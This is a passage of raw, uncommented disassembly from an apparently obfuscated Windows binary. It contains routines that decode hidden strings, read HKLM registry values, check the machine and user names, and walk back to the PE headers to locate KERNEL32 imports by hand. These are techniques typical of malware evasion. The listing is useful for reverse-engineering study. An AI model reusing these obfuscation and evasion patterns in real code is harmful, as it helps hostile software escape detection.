sub_43E9B7	proc near		; DATA XREF: .data:005512F0o
		mov	eax, 80004001h
		retn	10h
sub_43E9B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E9BF	proc near		; CODE XREF: sub_43E491+Cp
		push	edi
		push	offset dword_55225C
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551294, eax
		mov	eax, dword_551178
		sub	eax, 3
		cmp	dword_551294, eax
		jnz	short loc_43E9FE
		push	offset byte_552251
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_551294, eax


loc_43E9FE:				; CODE XREF: sub_43E9BF+26j
		mov	eax, dword_551294
		cmp	dword_5511A0, eax
		jz	short loc_43EA28
		push	offset byte_55223B
		call	sub_43AC94
		pop	ecx
		push	eax
		push	dword_551294
		call	ds:dword_44B1AC
		mov	ds:dword_44B5B4, eax


loc_43EA28:				; CODE XREF: sub_43E9BF+4Aj
		pop	edi
		retn
sub_43E9BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EA2A	proc near		; CODE XREF: sub_441AE5+91p

var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= byte ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	ds:dword_550028
		mov	eax, dword_5510B4
		sub	eax, 3
		mov	byte ptr [edi+eax], 58h
		mov	eax, dword_55121C
		mov	byte ptr [edi+eax], 39h
		mov	eax, dword_551244
		add	eax, dword_55116C
		sub	eax, 0Eh
		movsx	edx, word_5510A0
		movsx	ecx, word_5511C4
		add	edx, ecx
		sub	edx, 0Eh
		mov	[edi+eax], dl
		cmp	[ebp+var_183], 2
		jnz	short loc_43EAB3
		mov	eax, dword_551118
		sub	eax, 8
		mov	byte ptr [edi+eax], 54h
		mov	eax, dword_5511F0
		movsx	edx, word_5510B0
		add	eax, edx
		sub	eax, 0Ah
		mov	byte ptr [edi+eax], 4Eh


loc_43EAB3:				; CODE XREF: sub_43EA2A+66j
		push	offset byte_55222F
		call	sub_43AC94
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_50EA28
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		push	offset dword_552228
		call	sub_43AC94
		mov	ebx, dword_5510C4
		movsx	edx, word_551224
		add	ebx, edx
		sub	ebx, 0Bh
		push	ebx
		movsx	ebx, word_551104
		add	ebx, dword_5511D4
		sub	ebx, 0Eh
		push	ebx
		lea	ebx, [ebp+var_1A0]
		push	ebx
		lea	ebx, [ebp+var_1A0]
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		push	0FFh
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		call	ds:dword_4CEA04
		push	offset dword_552220
		call	sub_43AC94
		push	[ebp+var_19C]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_50EA28
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		mov	eax, dword_551190
		sub	eax, 3
		push	eax
		push	400h
		call	ds:dword_44B5A8
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		push	offset byte_55221B
		call	sub_43AC94
		push	eax
		push	edi
		call	ds:dword_44802C
		mov	[ebp+var_198], 0FFh
		push	offset word_5521EE
		call	sub_43AC94
		mov	[ebp+var_1A8], eax
		push	offset byte_5521E1
		call	sub_43AC94
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1A8]
		push	ebx
		push	80000002h
		call	sub_440281
		add	esp, 70h
		mov	esi, eax
		mov	eax, dword_5510A4
		sub	eax, 8
		cmp	eax, esi
		jnz	short loc_43EC1C
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		add	esp, 8
		jmp	short loc_43EC87
; ---------------------------------------------------------------------------


loc_43EC1C:				; CODE XREF: sub_43EA2A+1DDj
		mov	[ebp+var_198], 0FFh
		push	offset asc_5521B1 ; ","
		call	sub_43AC94
		mov	[ebp+var_1AC], eax
		push	offset asc_5521A4 ; "\t"
		call	sub_43AC94
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1AC]
		push	ebx
		push	80000002h
		call	sub_440281
		add	esp, 20h
		mov	esi, eax
		mov	eax, dword_55121C
		inc	eax
		cmp	esi, eax
		jnz	short loc_43EC87
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44802C
		add	esp, 8


loc_43EC87:				; CODE XREF: sub_43EA2A+1F0j
					; sub_43EA2A+24Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EA2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EC8C	proc near		; DATA XREF: .data:00551318o
		mov	eax, 80004001h
		retn	18h
sub_43EC8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EC94	proc near		; CODE XREF: sub_4457CD+4Ap

var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10004	= dword	ptr -10004h
var_FFFF	= byte ptr -0FFFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10030h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_551124
		add	eax, dword_5510A4
		sub	eax, 12h
		cmp	dword_5512DC, eax
		jnz	short loc_43ECD0
		movsx	eax, word_551188
		add	eax, 5
		cmp	ds:dword_44B5D0, eax
		jb	loc_43EF53


loc_43ECD0:				; CODE XREF: sub_43EC94+24j
		lea	eax, [ebp+var_10020]
		push	eax
		call	ds:dword_448048
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		movsx	eax, word_551240
		dec	eax
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CC324
		mov	edi, eax
		mov	eax, dword_551244
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_43EF53
		movsx	eax, word_551260
		add	eax, dword_5510BC
		sub	eax, 9
		mov	[ebp+var_10008], eax
		mov	esi, [ebp+var_10018]
		lea	eax, [ebp+var_10008]
		push	eax
		push	offset dword_552AA4
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		movsx	eax, word_551180
		sub	eax, 2
		cmp	edi, eax
		jnz	loc_43EF53
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, dword_55125C
		sub	eax, 5
		cmp	eax, edi
		jnz	loc_43EF4D
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	[ebp+var_10024]
		call	sub_44582B
		add	esp, 8
		push	[ebp+var_10024]
		call	ds:dword_550034
		movsx	eax, word_551228
		cmp	byte ptr [ebp+eax+var_10004+1],	74h
		jnz	short loc_43EDDD
		movsx	eax, word_5510D8
		cmp	byte ptr [ebp+eax+var_10008], 68h
		jnz	short loc_43EDDD
		mov	eax, dword_5511F8
		cmp	byte ptr [ebp+eax+var_10004+1],	70h
		jnz	short loc_43EDDD
		mov	eax, dword_551204
		cmp	byte ptr [ebp+eax+var_10004+3],	74h
		jz	short loc_43EDE2


loc_43EDDD:				; CODE XREF: sub_43EC94+118j
					; sub_43EC94+129j ...
		jmp	loc_43EF4D
; ---------------------------------------------------------------------------


loc_43EDE2:				; CODE XREF: sub_43EC94+147j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, dword_5510A4
		add	eax, dword_55118C
		sub	eax, 9
		cmp	eax, edi
		jnz	loc_43EF4D
		lea	eax, [ebp+var_10004]
		push	eax
		push	offset dword_552A34
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_55118C
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 4
		cmp	edi, eax
		jnz	loc_43EF41
		lea	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [ebp+var_10004]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, dword_551138
		add	eax, dword_5511D0
		sub	eax, 6
		cmp	eax, edi
		jnz	loc_43EF35
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		movsx	eax, word_55112C
		sub	eax, 5
		cmp	eax, edi
		jz	short loc_43EEA6
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	loc_43EF35
; ---------------------------------------------------------------------------


loc_43EEA6:				; CODE XREF: sub_43EC94+1FFj
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_1000C], eax
		jz	short loc_43EEB9
		xor	ebx, ebx
		inc	ebx


loc_43EEB9:				; CODE XREF: sub_43EC94+220j
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_10004]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		movsx	eax, word_551104
		add	eax, dword_551190
		sub	eax, 0Bh
		cmp	edi, eax
		jnz	short loc_43EF35
		push	ebx
		lea	eax, [ebp+var_FFFF]
		push	eax
		push	[ebp+var_10008]
		push	[ebp+var_1002C]
		push	[ebp+var_10004]
		call	sub_44230D
		add	esp, 14h
		or	ebx, ebx
		jnz	short loc_43EF35
		push	[ebp+var_1002C]
		push	[ebp+var_10004]
		push	esi
		call	sub_43E04C
		add	esp, 0Ch


loc_43EF35:				; CODE XREF: sub_43EC94+1D8j
					; sub_43EC94+20Dj ...
		mov	eax, [ebp+var_10004]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43EF41:				; CODE XREF: sub_43EC94+1AAj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43EF4D:				; CODE XREF: sub_43EC94+E2j
					; sub_43EC94:loc_43EDDDj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_43EF53:				; CODE XREF: sub_43EC94+36j
					; sub_43EC94+77j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EC94	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EF58	proc near		; CODE XREF: sub_43E491+210p
		push	edi
		mov	eax, dword_5510A4
		add	eax, dword_551190
		sub	eax, 0Eh
		mov	ds:dword_4CE9F0, eax
		mov	eax, dword_5511D0
		mov	edi, eax
		add	edi, dword_551218
		sub	edi, 3
		jmp	short loc_43EF8E
; ---------------------------------------------------------------------------


loc_43EF7E:				; CODE XREF: sub_43EF58+42j
		mov	eax, dword_5511D8
		sub	eax, 7
		mov	ds:byte_48C1F0[edi], al
		inc	edi


loc_43EF8E:				; CODE XREF: sub_43EF58+24j
		mov	eax, dword_551238
		add	eax, 0F6h
		cmp	edi, eax
		jb	short loc_43EF7E
		mov	eax, dword_551218
		movsx	edx, word_5510D8
		movsx	ecx, word_5511C4
		lea	edx, [edx+ecx+50h]
		mov	byte ptr ds:dword_48C1EC+3[eax], dl
		mov	eax, ds:dword_4CE9F0
		mov	edx, dword_5511E8
		dec	edx
		add	eax, edx
		mov	edx, dword_551150
		add	edx, 0E5h
		mov	ds:byte_48C1F0[eax], dl
		mov	eax, ds:dword_4CE9F0
		mov	edx, dword_551204
		inc	edx
		add	edx, dword_551090
		add	eax, edx
		mov	edx, dword_551244
		add	edx, 5Ah
		mov	ds:byte_48C1F0[eax], dl
		mov	eax, ds:dword_4CE9F0
		mov	edx, dword_551160
		add	edx, 0E3h
		mov	ds:byte_48C1F0[eax], dl
		movsx	eax, word_5511A8
		movsx	edx, word_551140
		lea	eax, [eax+edx+6]
		add	ds:dword_4CE9F0, eax
		pop	edi
		retn
sub_43EF58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F031	proc near		; CODE XREF: sub_43E491+48p

var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_10F		= byte ptr -10Fh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_43BC51
		mov	edx, dword_5510C0
		dec	edx
		cmp	edx, eax
		jnz	short loc_43F054
		xor	eax, eax
		jmp	loc_43F260
; ---------------------------------------------------------------------------


loc_43F054:				; CODE XREF: sub_43F031+1Aj
		mov	[ebp+var_204], 0FFh
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_44B5A0
		mov	eax, dword_551134
		add	eax, dword_55126C
		movsx	eax, [ebp+eax+var_10F]
		movsx	edx, word_5510E4
		cmp	eax, edx
		jnz	short loc_43F098
		xor	eax, eax
		inc	eax
		jmp	loc_43F260
; ---------------------------------------------------------------------------


loc_43F098:				; CODE XREF: sub_43F031+5Dj
		push	offset word_55219A
		call	sub_43AC94
		mov	edx, dword_551164
		inc	edx
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_442127
		add	esp, 10h
		mov	ecx, dword_5510C0
		add	ecx, 0FFFEh
		cmp	eax, ecx
		jz	short loc_43F0D2
		xor	eax, eax
		inc	eax
		jmp	loc_43F260
; ---------------------------------------------------------------------------


loc_43F0D2:				; CODE XREF: sub_43F031+97j
		push	offset word_55218E
		call	sub_43AC94
		mov	edx, dword_5511F0
		sub	edx, 8
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_442127
		add	esp, 10h
		mov	ecx, dword_5511D8
		add	ecx, 0FFF8h
		cmp	ecx, eax
		jz	short loc_43F10E
		xor	eax, eax
		inc	eax
		jmp	loc_43F260
; ---------------------------------------------------------------------------


loc_43F10E:				; CODE XREF: sub_43F031+D3j
		mov	[ebp+var_208], 0FFh
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	ds:dword_448040
		push	offset byte_552189
		call	sub_43AC94
		push	eax
		lea	edx, [ebp+var_1FE]
		push	edx
		call	ds:dword_44802C
		mov	eax, dword_5511B8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_442127
		add	esp, 18h
		mov	edx, dword_55116C
		add	edx, 0FFF6h
		cmp	eax, edx
		jz	short loc_43F17B
		xor	eax, eax
		inc	eax
		jmp	loc_43F260
; ---------------------------------------------------------------------------


loc_43F17B:				; CODE XREF: sub_43F031+140j
		call	ds:dword_4CEA1C
		mov	esi, eax
		xor	ebx, ebx
		mov	edi, esi


loc_43F187:				; CODE XREF: sub_43F031+218j
		mov	eax, dword_5511E0
		sub	eax, 9
		movzx	eax, byte ptr [edi+eax]
		movsx	edx, word_5510F0
		sub	edx, 3
		cmp	eax, edx
		jz	loc_43F24E
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_43F1AA:				; CODE XREF: sub_43F031+17Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F1AA
		mov	[ebp+var_20C], eax
		push	offset byte_55217F
		call	sub_43AC94
		add	esp, 4
		push	dword_551158
		push	eax
		push	edi
		call	sub_442127
		add	esp, 0Ch
		mov	edx, eax
		movsx	ecx, word_551168
		movsx	eax, word_55115C
		lea	ecx, [ecx+eax+0FFF8h]
		cmp	ecx, edx
		jz	short loc_43F1F6
		mov	ebx, 1
		jmp	short loc_43F24E
; ---------------------------------------------------------------------------


loc_43F1F6:				; CODE XREF: sub_43F031+1BCj
		push	offset word_55216E
		call	sub_43AC94
		push	dword_55122C
		push	eax
		push	edi
		call	sub_442127
		add	esp, 10h
		mov	edx, eax
		movsx	ecx, word_551228
		mov	eax, dword_5511D0
		lea	ecx, [ecx+eax+0FFF6h]
		cmp	edx, ecx
		jz	short loc_43F22E
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_43F24E
; ---------------------------------------------------------------------------


loc_43F22E:				; CODE XREF: sub_43F031+1F6j
		mov	eax, [ebp+var_20C]
		mov	edx, dword_5510F4
		add	edx, dword_551204
		sub	edx, 4
		add	edx, edi
		mov	edi, eax
		add	edi, edx
		jmp	loc_43F187
; ---------------------------------------------------------------------------


loc_43F24E:				; CODE XREF: sub_43F031+16Ej
					; sub_43F031+1C3j ...
		push	esi
		call	ds:dword_4CDA44
		or	ebx, ebx
		jz	short loc_43F25E
		xor	eax, eax
		inc	eax
		jmp	short loc_43F260
; ---------------------------------------------------------------------------


loc_43F25E:				; CODE XREF: sub_43F031+226j
		xor	eax, eax


loc_43F260:				; CODE XREF: sub_43F031+1Ej
					; sub_43F031+62j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F031	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F265	proc near		; DATA XREF: .data:005512CCo
		mov	eax, 80004001h
		retn	8
sub_43F265	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F26D	proc near		; CODE XREF: sub_43E491+3Ep
		push	edi
		push	offset byte_55215F
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_5512A4, eax
		mov	eax, dword_551134
		sub	eax, 8
		cmp	dword_5512A4, eax
		jnz	short loc_43F2AC
		push	offset dword_552150
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_5512A4, eax


loc_43F2AC:				; CODE XREF: sub_43F26D+26j
		push	offset dword_552138
		call	sub_43AC94
		pop	ecx
		push	eax
		push	dword_5512A4
		call	ds:dword_44B1AC
		mov	ds:dword_449FC4, eax
		pop	edi
		retn
sub_43F26D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2CB	proc near		; CODE XREF: sub_43A59E+67p

var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= word ptr -80h
var_40		= word ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		lea	eax, dword_54EBC0
		mov	[ebp+var_88], eax
		movsx	eax, word_551228
		movsx	edx, word_5511BC
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 0Bh
		jmp	short loc_43F309
; ---------------------------------------------------------------------------


loc_43F2FA:				; CODE XREF: sub_43F2CB+52j
		mov	edx, dword_5510B4
		sub	edx, 4
		mov	[ebp+ebx*2+var_40], dx
		inc	ebx


loc_43F309:				; CODE XREF: sub_43F2CB+2Dj
		movsx	eax, word_551140
		movsx	edx, word_551228
		lea	eax, [eax+edx+15h]
		cmp	ebx, eax
		jb	short loc_43F2FA
		movsx	eax, word_551210
		mov	esi, eax
		add	esi, dword_5511FC
		sub	esi, 3
		jmp	short loc_43F344
; ---------------------------------------------------------------------------


loc_43F333:				; CODE XREF: sub_43F2CB+89j
		mov	edx, esi
		shl	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	cx, [ecx+esi*2]
		mov	[ebp+edx+var_80], cx
		inc	esi


loc_43F344:				; CODE XREF: sub_43F2CB+66j
		mov	eax, dword_5511E4
		add	eax, 14h
		add	eax, dword_5511B0
		cmp	esi, eax
		jb	short loc_43F333
		movsx	eax, word_551210
		sub	eax, 3
		mov	[ebp+var_84], eax


loc_43F366:				; CODE XREF: sub_43F2CB+141j
					; sub_43F2CB+159j
		push	[ebp+var_84]
		push	[ebp+arg_0]
		call	sub_4472C9
		add	esp, 8
		mov	[ebp+var_8C], eax
		mov	eax, dword_551114
		dec	eax
		cmp	[ebp+var_8C], eax
		jnz	short loc_43F3C6
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4466C9
		mov	[ebp+var_90], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_43A929
		add	esp, 10h
		or	eax, eax
		jz	short loc_43F3C6
		push	[ebp+var_88]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_447831
		add	esp, 8


loc_43F3C6:				; CODE XREF: sub_43F2CB+BEj
					; sub_43F2CB+E7j
		inc	[ebp+var_84]
		mov	eax, dword_551118
		add	eax, 17h
		movsx	edx, word_551094
		add	edx, 0Dh
		imul	eax, edx
		cmp	[ebp+var_84], eax
		jnb	short loc_43F429
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_441A2E
		mov	[ebp+var_90], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_43A929
		add	esp, 0Ch
		or	eax, eax
		jz	loc_43F366
		push	[ebp+var_88]
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_447831
		add	esp, 8
		jmp	loc_43F366
; ---------------------------------------------------------------------------


loc_43F429:				; CODE XREF: sub_43F2CB+11Cj
		movsx	edi, word_551240
		dec	edi
		jmp	short loc_43F444
; ---------------------------------------------------------------------------


loc_43F433:				; CODE XREF: sub_43F2CB+18Cj
		mov	edx, edi
		shl	edx, 1
		mov	ecx, [ebp+arg_0]
		mov	dx, [ebp+edx+var_40]
		mov	[ecx+edi*2], dx
		inc	edi


loc_43F444:				; CODE XREF: sub_43F2CB+166j
		mov	eax, dword_55124C
		add	eax, 13h
		movsx	edx, word_551254
		add	eax, edx
		cmp	edi, eax
		jb	short loc_43F433
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F45E	proc near		; CODE XREF: sub_443F7C+B3p
					; sub_443F7C+EFp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 69h
		jz	short loc_43F4A3
		cmp	al, 65h
		jz	short loc_43F4A3
		cmp	al, 75h
		jz	short loc_43F4A3
		cmp	al, 79h
		jz	short loc_43F4A3
		cmp	al, 61h
		jz	short loc_43F4A3
		cmp	al, 6Fh
		jz	short loc_43F4A3
		cmp	al, 6Ah
		jnz	short loc_43F4A7


loc_43F4A3:				; CODE XREF: sub_43F45E+2Bj
					; sub_43F45E+2Fj ...
		add	[ebp+arg_0], 1


loc_43F4A7:				; CODE XREF: sub_43F45E+43j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_43F45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F4AF	proc near		; CODE XREF: sub_43B841+10p
					; sub_43B841+25p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_551280
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_43F4AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F4C7	proc near		; CODE XREF: start+1p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12B		= byte ptr -12Bh
var_128		= byte ptr -128h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, sub_43E491
		mov	[ebp+var_14], eax
		lea	edx, sub_43E491
		mov	ecx, dword_551204
		add	ecx, 0Dh
		mov	eax, edx
		shr	eax, cl
		mov	edx, dword_55117C
		add	edx, 0Ah
		movsx	ecx, word_551240
		add	edx, ecx
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_43F507:				; CODE XREF: sub_43F4C7+5Ej
					; sub_43F4C7+97j ...
		mov	[ebp+var_18], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_43F527
		mov	eax, dword_5510D4
		add	eax, 0FFF1h
		add	eax, dword_55126C
		sub	ebx, eax
		jmp	short loc_43F507
; ---------------------------------------------------------------------------


loc_43F527:				; CODE XREF: sub_43F4C7+4Aj
		mov	eax, dword_551114
		add	eax, 35h
		add	eax, dword_551230
		mov	esi, eax
		add	esi, ebx
		mov	eax, [esi]
		add	eax, ebx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_43F560
		movsx	eax, word_55115C
		movsx	edx, word_551224
		lea	eax, [eax+edx+0FFFBh]
		sub	ebx, eax
		jmp	short loc_43F507
; ---------------------------------------------------------------------------


loc_43F560:				; CODE XREF: sub_43F4C7+7Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_43F57E
		mov	eax, dword_5511B4
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	short loc_43F507
; ---------------------------------------------------------------------------


loc_43F57E:				; CODE XREF: sub_43F4C7+A7j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_C], eax
		mov	eax, dword_55113C
		add	eax, dword_551128
		sub	eax, 10h
		mov	[ebp+var_4], eax
		jmp	loc_43F716
; ---------------------------------------------------------------------------


loc_43F5A0:				; CODE XREF: sub_43F4C7+25Bj
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	eax, [ebp+var_C]
		mov	[ebp+var_130], eax
		movsx	eax, word_55112C
		sub	eax, 5
		mov	edx, [ebp+var_130]
		cmp	eax, [edx]
		jz	loc_43F728
		mov	eax, [ebp+var_130]
		mov	eax, [eax+0Ch]
		add	eax, ebx
		mov	[ebp+var_134], eax
		push	eax
		lea	eax, [ebp+var_12B]
		push	eax
		call	sub_44799C
		movsx	eax, word_551170
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 5
		mov	[ebp+var_28], eax
		jmp	short loc_43F61E
; ---------------------------------------------------------------------------


loc_43F5FC:				; CODE XREF: sub_43F4C7+16Dj
		mov	eax, [ebp+var_28]
		mov	al, [ebp+eax+var_12B]
		cmp	al, 7Ah
		jge	short loc_43F61B
		cmp	al, 61h
		jle	short loc_43F61B
		mov	eax, [ebp+var_28]
		lea	eax, [ebp+eax+var_12B]
		sub	byte ptr [eax],	20h


loc_43F61B:				; CODE XREF: sub_43F4C7+141j
					; sub_43F4C7+145j
		inc	[ebp+var_28]


loc_43F61E:				; CODE XREF: sub_43F4C7+133j
		mov	eax, [ebp+var_28]
		movsx	eax, [ebp+eax+var_12B]
		mov	edx, dword_551230
		sub	edx, 5
		cmp	eax, edx
		jnz	short loc_43F5FC
		mov	eax, dword_5511FC
		add	eax, dword_5511F0
		cmp	byte ptr [ebp+eax+var_130+1], 4Ch
		jnz	loc_43F712
		mov	eax, dword_5510B8
		cmp	byte ptr [ebp+eax+var_134+2], 45h
		jnz	loc_43F712
		mov	edx, dword_5510DC
		cmp	byte ptr [ebp+edx+var_130], 52h
		jnz	loc_43F712
		mov	edx, dword_551204
		cmp	[ebp+edx+var_128], 33h
		jnz	loc_43F712
		mov	edx, dword_5510FC
		cmp	byte ptr [ebp+edx+var_130+3], 4Bh
		jnz	short loc_43F712
		add	eax, dword_551230
		cmp	byte ptr [ebp+eax+var_134+3], 32h
		jnz	short loc_43F712
		mov	eax, [ebp+var_130]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp+var_13C], edx
		mov	eax, dword_5510D4
		sub	eax, 7
		mov	[ebp+var_138], eax


loc_43F6C9:				; CODE XREF: sub_43F4C7+247j
		mov	eax, [ebp+var_138]
		mov	esi, eax
		add	esi, [ebp+var_13C]
		mov	edi, [esi]
